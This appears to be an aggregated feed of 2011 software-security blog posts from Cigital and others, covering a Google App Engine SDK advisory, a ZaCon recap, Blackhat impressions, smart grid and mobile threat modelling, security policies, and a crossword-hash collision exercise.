Cigital has been working one-on-one with Rural Electric Co-ops across the US to help them raise their cyber security bar, starting with the creation of their own custom cyber security plan. To facilitate this process, Cigital provided the Co-ops with several artifacts, including a Guide to Developing a Cyber Security and Risk Mitigation Plan and an associated Cyber Security Plan Template, developed by Cigital for the National Rural Electric Cooperative Association (NRECA). The following video captures testimonials from Rural Electric Co-ops that have worked with Cigital to create their cyber security plans, along with feedback from industry experts and practitioners on the cyber security risk management approach and toolkit developed by Cigital.

Watchfire Application Security Insider

Google App Engine Code Execution Vulnerability (CVE-2011-1364)

Posted: October 11th, 2011, 12:18pm CDT by Adi Sharabani

Tags: Web Application Security [edit]

We have recently identified an interesting code execution vulnerability in the Google App Engine SDK for Python. By combining a CSRF vulnerability in the administration web UI, with some other vulnerabilities we found in the Google python libraries, a remote hacker could gain remote code execution privileges on victim's machine. This vulnerability affects all operation systems running Google App Engine SDK for python (i.e. Windows, Mac OS, etc.).

The full advisory can be found here.

As always, Google has been very quick with fixing the issue. According to the company, the fix was provided in version 1.5.4, which was released on Sep 12th.

Dominic White's .tHE pRODUCT

ZaCon III - TBOY

Posted: October 10th, 2011, 2:20am CDT

Tags: Security [edit]
TBOY - The Best One Yet
ZaCon III has come and gone this last weekend. It was a blast, solid content including some exciting first timers and more than doubling the original research output, an extension to include a Fri night, and the first time we ran with volunteers. The fact that the con seems to be getting better each year is important for me.

"It looks a bit eclectic"

Friday night kicked off around 7 at an uber-chilled venue, described by Roelof as "what I always imagined ZaCon should be" which was pretty great. Despite a projector failure, and nowhere to put the backup one, Roelof and Marco both presented some really entertaining talks. It was a nice mix of entertaining (and freaky) OSint followed by some hardcore vuln research. The time on either side to meet and talk to people was fun as a change to the usual brain-bending long day that is ZaCon.
Coffee was Flowing, Hangovers were Showing

Saturday kicked off with some more projector and microphone troubles followed by a power failure to one side of the room, but by the first tea break we had a duct taped alternative projector stand up and running, the lapel mic microphone replaced and power piped in from the surrounds. The talks started with more than 100 people filling the uncomfortable benches, and the three upstream tubes providers taking some strain thanks to the RF-busting styles of our internet volunteers, Peter Stayt & Prince Sihlahla. Our local site (local.zacon.org.za, up for a few days more if you want to get your ratings in) ran smoothly for a change thanks to Ralfe Poisson.

My favourite talks of the day go to Jeremy du Bruyn on practical password cracking and Reino Mostert on NNTP cache enumeration and poisoning. Partly because they were first time speakers, delivering original research output, and partly because they were awesome speakers with awesome talks even without the caveats. The "can I go to jail if" talk from Matt Erasmus and Helaine Leggat with Matt collecting and asking the questions, and Helaine answering was also great, and we're thinking of making it a regular feature if they agree. The only thing I missed there, was a light of hope. I got the feeling that in ZA vuln research has *no legal protection* and your only defense is not to do it. There were several other talks I greatly enjoyed too.

We'll be collecting slides, DiscussIT will be publishing audio, and some time later we'll try get the videos out.

ZaCon IV
We've got pages of things to improve on for next year, and hopefully we'll be able to retain the TBOY label. In the meantime, it's never too early to start pondering a submission for next year, start talking it over at the next 0xC0FFEE session, subscribe to the community@zacon.org.za mailing list or join the #zacon chan on irc.atrum.org.
Thanks
So many people did so many things, here's a brief list of people who need thanking in no particular order
- The speakers - without you guys there's no con
- People@ - you know who you are
- The volunteers
- - Local site - Ralfe
  - Internets - Peter, Prince
  - Registration - Tim, Ross
  - Badges - Andrew
  - Venue - Sagi <-- Big shouts to this guy, who did some some hard work
  - Audio & Video - Tony and Jameel
- Attendees - presenting to an empty room wouldn't be as much fun
- University of Johannesburg - for hosting us
- Cafe Pronto - for the coffee

cat slave diary

Hope

Posted: October 6th, 2011, 6:34pm CDT by vanderaj

Tags: Security [edit]

One of my favorite TV shows is the Gruen Transfer, a show deconstructing advertising. Don’t laugh, it’s the ABC’s #1 TV show.

A few weeks back, one of the panelists revealed that there are two fundamental ways to sell things – fear, as in:

Late 1980’s Anti-AIDS advert

and hope, as in:

Durex condom ad

The panellist’s comments are revealing – fear sells well for a short while and then stops working. This is true of the AIDS campaign. The campaign reduced HIV / AIDS infection rates to a low that hasn’t been repeated anywhere else on the planet since that time. Then the ad stopped, and there’s been no replacement campaign for nigh on 25 years. You can guess that the HIV / AIDS infection rates are back up.

We need to change the security industry from selling fear to selling (and delivering) hope. The results will last longer, and have better long term outcomes.

Justice League

Building Versus Breaking: A White Hat goes to Blackhat

Posted: August 9th, 2011, 3:25pm CDT by gem

Tags: Software Security [edit]

Is Blackhat worth attending? Kinda.

My philosophy of software security and security in general has plenty of room for the art of the exploit. The icon that I have adopted to “brand” my work, the yin/yang with cowboy hats includes a black hat for a reason! Here’s what I said about the icon in the Preface of Software Security:

Fundamental material is covered under this icon (which also adorns the cover of the book). The Yin/Yang is the classic Eastern symbol describing the inextricable mixing of standard Western Polemics (black/white, good/evil, Heaven/Hell, create/destroy, et cetera). Eastern philosophies are described as holistic because they teach that reality combines polemics in such a way that one pole cannot be sundered from the other. In the case of software security, two distinct threads—black hat activities and white hat activities (offense/defense, construction/destruction)—intertwine to make up software security. A holistic approach, combining yin and yang (mixing black hat and white hat approaches) is what is required.

The White Hat + Black Hat approach informs three of my books and the entire Addison-Wesley Software Security Series:

Building Secure Software (BSS), the white hat book, seems to have touched off a revolution. Security people who once relied solely on firewalls, intrusion detection, and anti-virus mechanisms came to understand and embrace the necessity of better software. BSS provides a coherent and sensible philosophical foundation for the blossoming field of software security.

Exploiting Software (ES), the black hat book, provides a much needed balance, teaching about how to break software and how malicious hackers write exploits. ES is meant as a reality check for software security, ensuring that the good guys address real attacks and invent and peddle solutions that actually work. The two books are in some sense mirror images.

Software Security unifies the two sides of software security—attack and defense, exploiting and designing, breaking and building—into a coherent whole. Like the yin and the yang, software security requires a careful balance.

It may come as a surprise to you that I have never attended the famed Blackhat conference until this year. There are a couple of reasons for this, not the least of which my two time co-author Greg Hoglund has “covered” Blackhat most admirably for a decade. More generally, I guess my bias is definitely toward building systems properly and security engineering than it is towards penetration testing and throwing rocks at existing systems.

Blackhat and its sister con Defcon have always had reputations as “hackerboy” conferences populated by l33t “researchers” bent on breaking systems in spectacular fashion. I suppose Blackhat has over the years evolved into something more commercial, with a major shift in emphasis coming when it was purchased by UBM. Many of my associates in security have said that Blackhat attendance has shifted toward the corporate end of the spectrum and that it was looking more like the RSA Conference attendance-wise. As a consultant to large corporations taking software security seriously, this perceived shift is not to be ignored. That’s why I went to see for myself what’s up with Blackhat.

(I suppose I should throw in a quick aside here to point out that in my view being sentenced to spend time in Las Vegas is second only to the pain of spending time in Orlando. Just not my bag and a definite personal bias.)

Bottom line? Blackhat appears to be populated by plenty of security vendors mostly presenting to each other. I found a handful of Cigital customers at the show, but far more security practitioners who work for vendors than any other category of attendee. That probably makes Blackhat a reasonable show to attend if you’re interested in hiring pen testers and understanding something about the latest flavors of attacks. There were certainly some very superb people presenting at the show (Litchfield, Laurie, and Russinovich pop immediately to mind), but Blackhat seems to be more about after hours parties than security content—especially when it comes to engineering. That leaves me feeling conflicted about its value.

At this point in the life of software security as a field, I think we need to spend less time thinking about breaking systems and finding vulnerabilities than about fixing systems and mitigating vulnerabilities. (Not none, mind you, just less.) There were a couple of presentations and panels on the agenda that touched on software security basics, but a vast majority of the content is about (gleefully) breaking things. Incidentally, that’s why it was interesting to me that Microsoft announced its new security engineering Bluehat prize at the show. Seems like they might get better traction with that at Usenix Security, ISOC NDSS, or even RSA?!

There is certainly networking to be done at Blackhat, but nowhere near at the same scale or caliber as the networking at RSA (the security tradeshow that absolutely everybody attends). If you’re not up for late nights, loud dance music, bad well drinks, and club-based Vegas mayhem, Blackhat may not be your scene. Maybe I’m just getting old.
Art of InfoJacking – What Lies Beneath

Posted: July 20th, 2011, 2:11pm CDT by Guest

Tags: Software Security [edit]

This is a guest post by Aditya K. Sood, a Security Practitioner at Cigital.

Information gathering is considered as one of the most critical step in performing aggressive penetration testing in all types of environment. With the proliferation of web vulnerabilities, the online world has introduced new protection mechanisms such as web applications firewalls. It is important to fingerprint these web application firewalls in order to conduct efficient and robust testing on websites and financial applications. Web Application Firewall (WAF) implements the concept of server cloaking, normalization with HTTP response header manipulation. It states that every WAF shows unique behavior which enables the testers to fingerprint the presence of that WAF in a production environment. The signatures are required to detect the presence of hidden devices in the network.

Proxy servers also play an important step in maintaining anonymity in the networks. Proxy servers are configured in a myriad of ways including static and dynamic configuration. Continuous testing has shown the fact that dynamic configuration in proxy servers using WPAD can indirectly harness the collective power of DHCP and DNS. The proxy file (proxy.wpad) is discovered using WPAD protocol. In addition to this, client browser also uses Proxy Auto Configuration (PAC) files which have specific “FindProxyForUrl” function that provide the connection string to the proxy server. It has been noticed that insecure access to these proxy configuration files can result in complete surrender of the entire internal network to the predators. However, fingerprinting proxy configuration files add to the taste of penetration testing.

The anonymous access to web services and protocols is a dangerous deal. It has been a major driver of differential attacks on anonymous services. However, it depends a lot on to what extent anonymous access can be exploited. For example: anonymous FTP access can be used to enumerate users, directories and initiating FTP bounce scans. These configuration flaws can be used in conjunction with web vulnerabilities to design a new attack vector. For example: – Cross Interface Attacks (CIA) in which FTP console is tested against buffer check which is further exploited to inject XSS/CSRF payloads to perform remote command execution. Design flaws in network devices can also be leveraged to extract plethora of information that can be useful in enhancing the modus operandi of penetration testing.

All these issues have been discussed in detailed at Source Conference. Please refer to the slides at: [www.cigital.com].

Dominic White's .tHE pRODUCT

Security Policies - Go Away

Posted: July 19th, 2011, 6:27am CDT

Tags: Security [edit]
This is re-published, from the original on the SensePost blog.

Security policies are necessary, but their focus is to the detriment of more important security tasks. If auditors had looked for trivial SQL injection on a companies front-page as hard as they have checked for security polices, then maybe our industry would be in a better place. I want to make this go away, I want to help you tick the box so you can focus on the real work. If you just want the "tool" skip to the end.

A year and a half ago, SensePost started offering "build it" rather than "break it" consulting services, we wanted to focus on technical, high-quality advisory work. However, by far the most frequently "consulting" request we've seen has been asking for security policies. Either a company approaches us looking for them explicitly or they want them bolted on to other work. The gut feel I've picked up over the years is that if someone is asking you to develop security policies for them, then either they're starting on security at the behest of some external or compliance requirement or they're hoping that this is the first step in an information security program. (Obviously, I can't put everything into the same bucket, but I'm talking generally) Both are rational reasons to want to get your information security policies sorted, but getting outside consultants to spend even a week's worth of time developing them for you, is time that could be better spent in my opinion. My reasons for this are two-fold:
- If you're starting a security program, then you have a lot to learn and possibly a lot of convincing of senior management to do. Something like an internal penetration test (not that I'm advocating this specifically instead of policy) will give you far more insight into the security of your environment and a lot more "red ink" that can be used to highlight the risk to the "higher ups".
- Security policies don't "do" anything. They are a representation of management's intention and agreements around security controls, which in the best case, provide a "cover my ass" defense if an employee takes you to task for intercepting their e-mails or something similar. The policies need to be used to derive actual controls, and are not controls in themselves.
Instead, we too often end up in a world where security policies, rather than good security, is the end goal while new technologies keep us amused developing new ones (mobile policies, social media policies, data leakage policies etc.)
Saying all of this is fine, but it doesn't make the auditors stop asking, and it doesn't put a green box or tick in the ISO/PCI/CoBIT/HIPAA/SOX policies checkbox. Previously, I've pointed people at existing policy repositories, where sample policies can be downloaded and modified to suit their need. Sites such as CSOOnline or PacketSource have links to some policies, but by far the most comprehensive source of free security policy templates is SANS. The problem is people seem to look at these, think it looks like work, and move on to a consultancy that's happy to charge for a month's worth of time. Even when you don't, the policies are buried in sub-pages that don't always make sense (for example, why is the Acceptable Use Policy put under "computer security"), even then several of them are only available in PDF form (hence not editable), even though they are explicitly written as modifiable templates. What I did was to go through all of these pages, download the documents, convert them into relevant formats and categorise them into a single view in a spreadsheet with hyperlinks to the documents. I've also included their guidance documents on how to write good sec policies, and ISO 27001-linked policy roadmaps. I haven't modified any of the actual content of the documents, and those retain their original copyright. I'm not trying to claim any credit for others' hard work, merely make the stuff a little more accessible.

You can download the index and documents HERE.

In future, I hope to add more "good" policies (a few of the SANS policies aren't wonderful), and also look into expanding into security standards (ala CIS Security) in the future. If necessary, take this to a consultancy, and ask them to spend some time making these specific to your organisation and way of doing things, but please, if you aren't getting the basics right, don't focus on these. In the meantime, if you're looking for information security policies to go away, so you can get on with the bigger problems organisations, and our industry in general are facing, then this should be a useful tool.

Billy (BK) Rios

Turning the Tables – Part II

Posted: June 10th, 2011, 5:44pm CDT by xssniper

Tags: Web Application Security [edit]

I’m posting some of the research I’ve been working on over the last few months. I planned on submitting some of this research to the Blackhat/DEFCON CFP, but it looks like I’ll be tied up for most of the summer and I won’t be able to make it out to Vegas for BH or DEFCON this year (pour some out and “make it rain” for me). The gist of the research is this: I’ve collected of number of malware C&C software packages. I set up these C&Cs in a virtual network and audited the applications and source code (when available) for bugs. The results were surprising; most of the C&C software audited has pretty crappy security.

This week’s sample is an auth bypass and SQL injection on a BlackEnergy C&C page. The first of the samples can be found here: [software-security.sans.org]

I’ll post more samples in the coming weeks.

Attacking malware C&C is an interesting proposition. Exploiting a single host can result in the transfer of hundreds or even thousands of hosts from one individual to another. I’m not the first to note that malware and C&C software is evolving. Gone are the days of simple IRC bots receiving clear text commands from an IRC server. Today’s C&C’s are full fledged, feature rich applications with much complexity. Complexity is the enemy of security, even malware authors cannot escape this. There is no magic bullet, even malware authors face the difficulties of writing secure code. This is especially so if their customers are paying money for C&C software and demand newer features and robust interfaces. Today’s malware landscape looks much like a typical software enterprise with paying customers, regularly scheduled feature updates, marketing, and a sprinkling of PR. Who knows, maybe in the near future these malware enterprises will have dedicated, on-call security engineering teams and a formal SDL process

Dominic White's .tHE pRODUCT

Threat Modeling vs Information Classification

Posted: June 9th, 2011, 8:24am CDT

Tags: Security [edit]

This was originally posted on the SensePost blog.

Over the last few years there has been a popular meme talking about information centric security as a new paradigm over vulnerability centric security. I've long struggled with the idea of information-centricity being successful, and in replying to a post by Rob Bainbridge, quickly jotted some of those problems down.

In pre-summary, I'm still sceptical of information-classification approaches (or information-led control implementations) as I feel they target a theoretically sensible idea, but not a practically sensible one.
Information gets stored in information containers (to borrow a phrase from Octave) such as the databases or file servers. This will need to inherit a classification based on the information it stores. That's easy if it's a single purpose DB, but what about a SQL cluster (used to reduce processor licenses) or even end-user machines? These should be moved up the classification chain because they may store some sensitive info, even if they spend the majority of the time pushing not-very-sensitive info around. In the end, the hoped-for cost-saving-and-focus-inducing prioritisation doesn't occur and you end up having to deploy a significantly higher level of security to most systems. Potentially, you could radically re-engineer your business to segregate data into separate networks such as some PCI de-scoping approaches suggest, but, apart from being a difficult job, this tends to counter many of the business benefits of data and system integrations that lead to the cross-pollination in the first place.
Next up, I feel this fails to take cognisance of what we call "pivoting"; the escalation of privileges by moving from one system or part of a system to another. I've seen situations when the low criticality network monitoring box is what ends up handing out the domain administrator password. It had never been part of internal/external audits scope, none of the vulns showed up on your average scanner, it had no sensitive info etc. Rather, I think we need to look at physical, network and trust segregation between systems, and then data. It would be nice to go data-first, but DRM isn't mature (read simple & widespread) enough to provide us with those controls.

Lastly, I feel information-led approaches often end up missing the value of raw functionality. For example, a critical trade execution system at an investment bank could have very little sensitive data stored on it, but the functionality it provides (i.e. being able to execute trades using that bank's secret sauce) is hugely sensitive and needs to be considered in any prioritisation.

I'm not saying I have the answers, but we've spent a lot of time thinking about how to model how our analysts attack systems and whether we could "guess" the results of multiple pentests across the organisation systematically, based on the inherent design of your network, systems and authentication. The idea is to use that model to drive prioritisation, or at least a testing plan. This is probably closer aligned to the idea of a threat-centric approach to security, and suffers from a lack of data in this area (I've started some preliminary work on incorporating VERIS metrics).

In summary, I think information-centric security fails in three ways; by providing limited prioritiation due to the high number of shared information containers in IT environments, by not incorporating how attackers move through a networks and by ignoring business critical functionality.

Justice League

Improving Smart Grid Cyber Security

Posted: June 3rd, 2011, 10:15am CDT by Guest

Tags: Cyber Security [edit]

(This is a guest post by Evgeny Lebanidze, a managing consultant at Cigital.)

Over the last couple of years Cigital had become more involved helping companies in the Energy sector get security right. As our nation’s traditional electric grid is modernized and upgraded to the smart grid, the associated cyber security challenges continue to increase and consequences of not addressing them systematically become more significant.

Smart grid technologies introduce significant new risks. Smart grid, by design, makes extensive use of remote network connectivity, advanced communication protocols, more sophisticated hardware that is harder to configure, and more complex software. All of this added complexity and connectivity introduces additional security risk. Furthermore, smart grid technologies introduce substantial IT infrastructure into the electric utility environment, which results in both the traditional security risks with which the IT industry at large has struggled over the last two decades, as well as domain specific avenues for attack and risks inherent in the electrical utility space and smart grid components. Additionally, the rapid changes being introduced into the environment with all the new smart grid equipment and changing processes can in themselves inadvertently augment the risk exposure of electric utilities.

Software security is a significant problem for electric utilities and technology vendors. Everything from SCADA systems and Meter Data Management systems, down to field devices like smart meters, reclosers, and substation data collector units run software. Maintaining integrity of that software in this distributed system, the integrity of data and control communications, authentication, key management, and password management are all major challenges that require proper solutions adaptable to the unique constraints imposed by the environment.

It is in this environment that electric utilities and the smart grid technology vendors need to consider their overall risk posture and implement appropriate security controls to manage cyber security risks to an acceptable level. It is not possible to achieve a zero risk posture, but instead the goal should be to methodically consider the likelihood and potential impact of various security risks and have in place security controls that are capable of reducing the risk exposure to an acceptable level. The adequacy and sufficiency of the security controls need to be continuously assessed in light of new security risks and the changing environment. It is also important to recognize that failures will happen and so an organization needs to plan for them, isolate them, contain their damage, and recover from them gracefully. In other words, a risk management program is needed.

As smart grid is becoming a reality, addressing cyber security concerns holistically and systematically is a primary consideration for successful integration of these new technologies. In recognition of the importance of cyber security, the Department of Energy, which recently invested $3.4B from the American Reinvestment and Recovery Act (ARRA) to fund smart grid demonstration projects, explicitly identified cyber security in acquisition, deployment, and operation of smart grid technologies to be a top priority.

As part of its ongoing mission to provide reliable, safe and affordable electric service to rural America, Cigital’s customer, the National Rural Electric Cooperative Association (NRECA), on May 16th 2011, published its Interoperability and Cyber Security Plan, Cyber Security Guide for Electric Utilities, and Cyber Security Plan Template for use by all electric utilities.

To provide practical guidance for its participating electric cooperatives, NRECA and Cigital, the security team lead for NRECA’s smart grid demonstration project, have produced three key artifacts: The Interoperability and Cyber Security Plan (ICSP), the Cyber Security Guide for an Electric Utility, and a Cyber Security Plan Template.

The first two of these help electric utilities establish an overall culture of cyber security risk management and provide actionable “how to” guidance for security activities, best practices, and controls to mitigate cyber security risks across people, process, and technology dimensions. The Cyber Security Plan Template helps utilities to systematically baseline their existing security posture against the best practices found in the ICSP and the Cyber Security Guide, identify gaps, and then build an actionable roadmap for closing the gaps to mitigate cyber security risks, where appropriate.

The released cyber security guidance documents created have built upon guidance in NIST IR 7628, NERC CIP, as well as other industry resources and standards. They also leveraged Cigital’s cyber security risk management experience gained through 20 years of security consulting and research. The goal was to create actionable, digestible, and practical guidance for electric utilities that would allow them to assess the existing maturity of their cyber security practices and technologies, and then build a plan for continuous improvement. Cyber security standards for the smart grid remain a moving target, but electric cooperatives are not waiting. The current approach to cyber security puts a stake in the ground and gives utilities something they can start with now.

The US Department of Energy has recognized the leadership position that NRECA and Cigital have taken on cyber security and has complimented NRECA’s cyber security approach, serving as an exemplar to other Smart Grid ARRA funding recipients.

Assessing electric utility’s current cyber security maturity against recommended best practices and creating a plan for continuous improvement is only the beginning. Executing on the plan by following the mitigation roadmap is the next step. The goal is to use the plan to continue to improve the organization’s security risk posture and integrate all the new technology without negatively impacting the ability to perform the organization’s core mission. To help in that effort, NRECA and Cigital are developing additional artifacts, training materials, and services programs to help utilities successfully execute on their cyber security plans.
US Policy, Cyber Security and the Future of Cyberspace

Posted: June 1st, 2011, 12:43am CDT by gem

Tags: Cyber Security [edit]

Because Cigital’s corporate headquarters are near Washington, DC, you might think that we’re deeply involved with the federal government. Surprise! Though we do have a federal subsidiary called (creatively enough) Cigital Federal, a vast majority of our business is with the private sector. Whenever we get the opportunity to interact with the federal sector we are always stunned by how far behind the government is when it comes to computer security, and especially software security. Way behind. Years.

In order to combat the FUD angle all too often used to peddle computer security solutions (especially by defense contractors), we have done what we can to address the field in a manner that emphasizes building security in. One of my first attempts to counter some of the persistent Cyber war drumbeat we hear was an informIT article co-authored by Core CTO and founder Ivan Arce: Cyber Warmongering and Influence Peddling (November 24, 2010). When I ran that article up the policy flagpole in DC, the reaction was decidedly mixed. Maybe a bit too technical and a bit too raw was the verdict.

So, a complete rewrite of the core concepts with the help of Center for a New American Security CEO Nathaniel Fick was in order. I’m happy to say that the result looks good and has been included in the recent CNAS report on Cyber Security called “AMERICA’S CYBER FUTURE: SECURITY AND PROSPERITY IN THE INFORMATION AGE VOLUMES I AND II” (sorry for yelling, that’s how the policy people do it). In volume II as chapter 3, you will find the paper I wrote with Nate. The new title? “Separating the Threat from the Hype: What Washington Needs to Know About Cyber Security” You can download the complete report from the CNAS website here (volume II here).

In other policy-related writing, my current informIT article Computer Security and International Norms (May 30, 2011) discusses the recently-released White House “International Strategy for Cyberspace.”

I would love to see us turn the sound and the fury from cyber war to cyber crime where it belongs. What do you think?

Dominic White's .tHE pRODUCT

Cracking the ITWeb Security Summit Puzzle

Posted: April 8th, 2011, 10:18am CDT

Tags: Security [edit]
This is a pretty pointless entry talking about the simple crossword challenge provided by the ITWeb Security Summit.
The crossword is trivial, I was able to guess each word on first attempt, except the last long word. Instead of thinking about it, and realising that several others had already done it, I thought I'd have a look at the code.

It turns out that the code is somewhat smart and doesn't reveal the words, rather it uses a custom hashing algorithm and stores the hashes. The two pieces of JavaScript controlling the crossword are the configuration (questions & answers) and the functionality. There are two interesting pieces of information in these, the first is the hashes of the answers stored in the configuration:

AnswerHash = new Array(10664, 37493, 27958, 81424, 27548, 67695, 31280);

And the second, in the functionality, is the hashing algorithm:

function HashWord(Word)
{
    var x = (Word.charCodeAt(0) * 719) % 1138;
    var Hash = 837;
    var i;
    for (i = 1; i <= Word.length; i++)
        Hash = (Hash * i + 5 + (Word.charCodeAt(i - 1) - 64) * x) % 98503;
    return Hash;
}

A quick look at the hashing algorithm shows that it probably isn't reversible (or at least not trivially), primarily due to the modulus operators which aren't reversible. However, all is not lost, the algorithm is very simple, which means two things. The first is that it will have a ton of collisions (i.e. many words will result in the same hash) and the second is that your processor won't do much work in running it. Thus, I figured it may be fun to run it across a dictionary and see what collisions pop-up.

Since I was playing, I decided to check out whether there were any CLI JavaScript shells that I could use, and the speed at which they run. A quick google showed me that Chrome's V8 JavaScript engine has a "toy" shell that could be used. I pulled down the trunk, and with the sample=shell option passed to scons had the shell binary built.

The V8 shell is pretty cool, and can either be run interactively, used to evaluate JS passed as an argument with the -e switch, or run multiple files. However, input via CLI can't be passed as an ARGV, and either needs to be in one of the files, or in a -e statement. So I created three files:
- hash.js - Which contained the HashWord function above verbatim, but with a toUpperCase() added to the word passed
- dict.js - Which contained /usr/share/dict converted into a JS Array object
- loop.js - Which contained the answer hashes array, and looped through the dict comparing resulting hashes to the answers
If you're interested, the three files can be downloaded from here. They can be run by passing all three as arguments to shell e.g. ./shell dict.js shell.js loop.js

The results were as follows:

Found! Word: anonymous Hash: 27958
Found! Word: coseismic Hash: 10664
Found! Word: cryptanalysis Hash: 31280
Found! Word: Cupressaceae Hash: 27548
Found! Word: cystolithic Hash: 31280
Found! Word: honeypot Hash: 37493
Found! Word: irrationability Hash: 10664
Found! Word: miscommit Hash: 37493
Found! Word: phloroglucic Hash: 10664
Found! Word: pneumotoxin Hash: 67695
Found! Word: psychics Hash: 10664
Found! Word: reeky Hash: 67695
Found! Word: rhamphoid Hash: 37493
Found! Word: shuckpen Hash: 81424
Found! Word: stowbordman Hash: 81424
Found! Word: unthoughtedly Hash: 27958

Out of interest the result of time() were: 0.39s user 0.06s system 97% cpu 0.460 total

If you've checked the crossword, you'll see some of the answers are listed, you'll also see that there are several collisions, for example 'cryptanalysis' and 'cystolithic' both result in 31280, the hash of the final 'secret' word. It was fairly obvious that 'cryptanalysis' was the final word (apart from being the right length, it's the only security related term) however, I then tried to see if one of the 'incorrect' collisions would work. Unfortunately, there is a length check and so a straight substitution doesn't work, but 'coseismic' in the place of 'conficker' is accepted by the crossword as this image shows:

However, when you try and complete the crossword with the incorrect word, the 's' in 'coseismic' conflicts with the 'c' in 'cryptanalysis' and so you can't complete the crossword with this combination of words. However, if you don't limit yourself to english, and rather use random characters, you could eventually find gobbldegook that would complete the crossword. A challenge for someone else perhaps?

So that's my hackers attempt at 'cracking the code'. Hope to see you at the summit.

Justice League

Moving to Mobile – New Threats

Posted: March 29th, 2011, 12:45pm CDT by jOHN

Tags: Mobile Security [edit]
This post written in collaboration w/ Jason Rouse

In the software development circles I travel, the topic of adding a mobile channel onto existing application/system infrastructure has come up a bunch recently. With regards to threat modeling a ‘move to mobile’ represents an ideal opportunity to revisit threat modeling. Remember, I don’t necessarily prescribe threat modeling for well-known system arch-types (such as classic n-tier) and technology stacks as much as when teams attempt new and lesser known architectures.

The natural question: how do my threats change when I bring a mobile channel into my existing application? Consider, for instance, a generic application, as depicted below:

Existing Application w/ New Mobile Channel

This application supported a User and CSR through a browser interface, and had other connections to RESTful services in its middle tier. Now, we’ve added more controller and presentation tier logic, perhaps opting to reuse almost all the former application’s model. In this case, the new functionality aims to provide a more numerous set of users (2-4X as many as the plain browser interface) access to their accounts and services but with considerably lower bandwidth. The intent is that a sub-set of services would be offered (rate comparison and ACH transfer being omitted) and all available services will be provided in a crisp, simple, and responsive format.

Since we’ve discussed this example (and many like it) in threat modeling classes, we’ll leave these users and threats to the original system alone for now.

New portions of the system, being constructed to support mobile, are depicted in blue. In a future post, we’ll discuss how to more clearly identify the change in attack surface due to these additions. For now, let’s just consider the new Threats themselves. Again:

Threat – A class of individuals or software agent executing on behalf of such an individual

When we model threats we describe a threat’s capabilities, level of access, and skills to start. Let’s apply a few of Threat Modeling techniques to identify new threats to consider.

1. Consider the system’s users
When teams add new functionality to a system, or when they start a new development effort entirely, they commonly create user stories or perhaps even detailed use cases and requirements.

The first (and easiest) way to identify new threats to the system is to mine user stories, use cases, and other usage documentation (even marketectures often work) for their users. Then, consider:
- What evil or insidious behaviors could a user engage in?
- What obnoxious or stupid behaviors could a user cause trouble with?
Two users come to mind as we look at proposed new mobile functionality:
1. Mobile device user (in this case, a smart phone)
2. Neighboring network user
Combining the first items from our two lists above, we come to our first threat: a malicious mobile device user.

1. Malicious Mobile Device User – Device users possess the credentials to the device (including any UI, ‘app store’, or other username/password tuples) and likely possess the carrier account/credentials. Access includes physical access to the device and use of both of its applications and browsers. This threat can install applications, sync, and explore device contents with their computer. Of course, this threat has access to device SDK and simulators as any developer would. See this threat depicted in the figure above with label “1″.

When we discuss attack surfaces, we’ll discuss what kinds of access and capabilities these threats possess in a technology-specific fashion. Some conceptual actions include:
- Transfer device contents to computer for debugging, reversing, etc.
- Install purpose-built (malicious) applications on device
- Manipulate application settings, set up a proxy for web interaction, etc.
- Use both browser and application to access the same services/resources
- Jailbreak device
Consider Evil/Insidious User Action
The last behavior piques particular interest. When the user decides, with malicious intention, to jailbreak their device, additional malicious behaviors are available to them. Regardless of whether or not the jailbreak was motivated by malicious intent, the device’s security controls are compromised. In this case, applications can no longer trust that security features such as application signing apply or that a confidential path for their data exists between the application and network. Documenting threats in a traceability matrix allows one to show this escalation of privilege from one threat to another directly:

In summary, this behavior gives rise to another class of threat:

2. Malicious Mobile Device – This threat has all the capabilities and access of a malicious mobile device user, but can also compromise or augment the device OS and its drivers. The figure above depicts this threat labeling it “4″.

A broad range of capabilities results from this opportunity and if a device is compromised prior to the a victim application being loaded, malicious behavior can observe and affect the application installation process itself, or user signup/registration processes–which may include initial credential/key material exchange. This imagined scenario may quickly turn an application’s entire security proposition into a house of cards.

Consider Obnoxious/Stupid User Action
Once you start, it’s hard not to imagine a multitude of stupid things a user could do with their mobile device. Let’s focus on a common and important one: the user could leave the device somewhere, for it to be stolen. This scenario has two effects: first, this dramatically increases the population of Threat #1: malicious device user. Let’s split this threat into 1.A (previously described) and 1.B: malicious device user (same as 1.A but without the user’s credentials). However, Threat 1.B also increases the population of Threat #2–malicious devices because thieves can jailbreak devices even without user credentials.

An important third scenario impacts certain applications, like the generic one we describe above. If our threat traceability matrix (above) was filled out during a previous secure design exercise, it might include “password reset” use described in the mitigation column. Indeed, during many threat modeling courses jOHN teaches his participants indicate “we can remove the malicious CSR threat entirely by doing password reset out-of-band using a mobile phone.”

In the case that a phone is stolen and possesses the bank’s MobileBankingApp, perhaps which caches the user’s name, how effective is this control?

Many password reset implementations jOHN observes (using his accounts) suffer full compromise under the ‘stolen phone’ scenario. In this case, the identification of a new threat causes us to reconsider or augment the design of our system so that it again demonstrates the security properties we desire.

A Brief Diversion into the Mobile Threat Population
Looking superficially at search results, it appears as though ~120,000 phones are stolen in the UK annually; ~200,000 in Australia. Another site indicated 26M phones are stolen annually and resold. Regardless of how accurate these numbers are, this represents a much larger threat population than expected from security researchers and nefarious parties alone.

Not Stolen, “Something Borrowed”

Consider more generally the notion of the device being “out of sight” interaction briefly, perhaps through the following vectors:
- Because stolen (unknown to the device’s user) and returned after being tampered with
- The device is plugged into another individual’s machine (perhaps for charging or for app download)
- Device lent to individual for momentary use (phone call, game demo, contact/weather lookup)
- Grey-market phone, donated phones, recycled/returned phones
Each of these cases exposes the whole of the device’s attack surface to exploitation without visual cues to the phone’s user.

And Who ‘Owns’ These Devices Anyways

This is perhaps a good time to point out that the phone’s user may not be the phone’s owner. Family and corporate phone plans often provide access to the phone, remotely, unbeknownst to the user. In these cases, the phone’s owner must be considered a (yet unpictured in our diagram) threat from the user’s perspective.

From the phone (or account) owner’s perspective, the user represents a similar threat: the user can potentially add/modify/remove software without visual cues or notification. Our ‘single-user’ device actually serves multiple masters:
2. Me
3. The Account Owner
4. Our Benevolent Dictators: Google/Apple… RIM/Microsoft?
5. Carriers: ATT, VeriZon…
6. Device Manufacturer
We know the benevolent dictators retain the right/capability to remove applications from our devices. What other capabilities must an application publisher be concerned about within their Threat Model?

Here in the diagram, you see the inevitable separation of the application store curator and the current set of benevolent dictators listed–Amazon’s new application store is a prime example.

Reconsider Old Model’s Threats
Having conducted a threat model on the classic n-tier system before, a man-in-the-middle (MiM) threat was undoubtedly considered. Reconsider this threat in terms of the new architecture.

